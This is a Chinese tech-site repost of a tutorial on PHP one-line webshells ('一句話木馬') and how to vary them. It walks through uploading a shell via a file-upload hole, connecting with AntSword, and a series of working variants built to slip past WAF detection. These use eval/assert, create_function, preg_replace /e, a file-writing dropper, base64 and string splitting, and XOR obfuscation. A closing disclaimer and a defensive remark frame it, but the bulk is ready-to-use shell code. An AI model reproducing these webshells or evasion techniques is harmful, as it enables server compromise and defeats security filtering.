tft每日頭條

 > 科技

 > 木馬标準高度

木馬标準高度

科技 更新时间:2024-09-02 05:27:34

今天來和大家聊一聊,一句話木馬的多種變形方式。

經常有客戶的網站碰到被上傳小馬和大馬,這裡的“馬”是木馬的意思,可不是真實的馬。

通常,攻擊者利用文件上傳漏洞,上傳一個可執行并且能被解析的腳本文件,通過這個腳本來獲得服務器端執行命令的能力,也就是我們經常聽到的WebShell,而這個腳本文件就是我們常說的大馬和小馬。

1、都有些什麼“馬”?
  • 小馬

體積小,功能少,優點在于不易被發現,功能單一,常作為上傳大馬的跳闆。

  • 大馬

體積大,功能強大,但是易被發現。

  • 一句話木馬

在小馬和大馬之外衍生出的另一種木馬,隻需短短一行代碼,再結合WebShell工具(如菜刀、蟻劍、冰蠍等等)就能做到與大馬能力相當的功能(執行命令行、文件上傳、文件下載等功能)。

随着一句話木馬的濫用,普通的一句話木馬都已經逃不過waf的檢測了,為了逃避waf的檢測,一句話木馬開始了他的變形之旅。

2、一句話木馬的變形之路

環境介紹:

解析語言:php(版本:5.6.27)

WebShell工具:蟻劍

【最初的一句話】

制作一句話:

<?php @eval($_POST['juminfo']);?>

<?php @assert($_POST['juminfo']);?>

木馬标準高度(銘說一句話木馬的多種變形方式)1

圖 1 最簡單的一句話木馬

找到具有上傳漏洞的站點,将該腳本上傳,并訪問。發現是一片空白,可以說明該木馬能被解析。

木馬标準高度(銘說一句話木馬的多種變形方式)2

圖 2 訪問腳本

使用蟻劍連接。

木馬标準高度(銘說一句話木馬的多種變形方式)3

圖 3 蟻劍連接

連接成功,獲得WebShell。

木馬标準高度(銘說一句話木馬的多種變形方式)4

圖 4 獲得webshell

這樣的木馬雖然簡單,但是他明顯的關鍵字很容易就被各類waf檢測到。

為了繞過waf,我們的思路可以更寬一些,主要的思路有大小寫混淆字符編碼分散特征碼等。

【create_function函數】

腳本内容:

<?php

$fun = create_function('',$_POST['juminfo']);

$fun();

?>

把用戶傳遞的數據生成一個函數fun(),然後再執行fun()。

【create_function函數】

腳本内容:

<?php

@call_user_func(assert,$_POST['juminfo']);

?>

call_user_func這個函數可以調用其它函數,被調用的函數是call_user_func的第一個函數,被調用的函數的參數是call_user_func的第二個參數。這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函數繞過waf。

【preg_replace函數】

腳本内容:

<?php

@preg_replace("/abcde/e", $_POST['juminfo'], "abcdefg");

?>

這個函數原本是利用正則表達式替換符合條件的字符串,但是這個函數有一個功能——可執行命令。這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那麼這個函數的第二個參數就會被當作代碼執行。

【file_put_contents函數】

腳本内容:

<?php

$test='<?php $a=$_POST["juminfo"];assert($a); ?>';

file_put_contents("hello.php", $test);

?>

使用方法:先用浏覽器訪問,生成新的文件"hello.php",再連接"hello.php"。

利用函數生成文件,第一個參數是文件名,第二個參數是文件的内容。

【PHP變量函數】

腳本内容:

<?php

$a = "assert";

$a(@$_POST['juminfo']);

?>

第三行使用了變量函數$a,變量儲存了函數名eval,便可以直接用變量替代函數名。

【PHP可變變量】

腳本内容:

<?php

$bb="assert";

$a="bb";

$$a(@$_POST['juminfo']);

?>

通過上一個語句進行的多一層變化:$$a = $($a) = $ (‘bb’) = $bb = "assert"

【str_replace函數】

腳本内容:

<?php

$a=str_replace("juminfo", "", "assjuminfoert");

$a(@$_POST['juminfo']);

?>

在第三個參數中,查找第一個參數,并替換成第二個參數。這裡第二個參數為空字符串,就相當于删除"juminfo"。

【base64_decode函數】

腳本内容:

<?php

$a=base64_decode("YXNzZXJ0")

$a($_POST['juminfo']);

?>

這裡是base64解密函數,"YXNzZXJ0"是assert的base64加密。

【"."操作符】

腳本内容:

<?php

$a="as"."s";

$b="er"."t";

$c=$a.$b;

$c($_POST['juminfo']);

?>

【運算符變形】

腳本内容:

<?php

@$_ ;

$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");

$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");

${$__}[!$_](${$___}[$_]);

?>

當我第一次看到這個腳本的時候,一頭霧水,這是什麼東西?

後來用echo打印出三個變量$_ 、$__、$___可以看到他們的值分别為1、_GET、_POST,放入最後一條語句中剛好組成一個兩層的一句話木馬。<?php $_GET[0]($_POST[1])?>

隻要我們将0賦值為assert就可以構成經典的一句話<?php assert($_POST[1])?>,密碼是1。

木馬标準高度(銘說一句話木馬的多種變形方式)5

圖 5 二層一句話木馬的連接方式

3、總結

一句話的混淆方式還有很多很多,基于以上的變形思路還能夠衍生出無數新的變種木馬,為了更好地防止“被放馬”的事件發生,我們應該及時對使用的安全産品進行更新,才能讓“馬”無處可走。

免責聲明:本文提及的技術僅可用于私人學習測試等合法場景中,任何不當利用該技術所造成的刑事、民事責任均與本文作者無關。

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关科技资讯推荐

热门科技资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved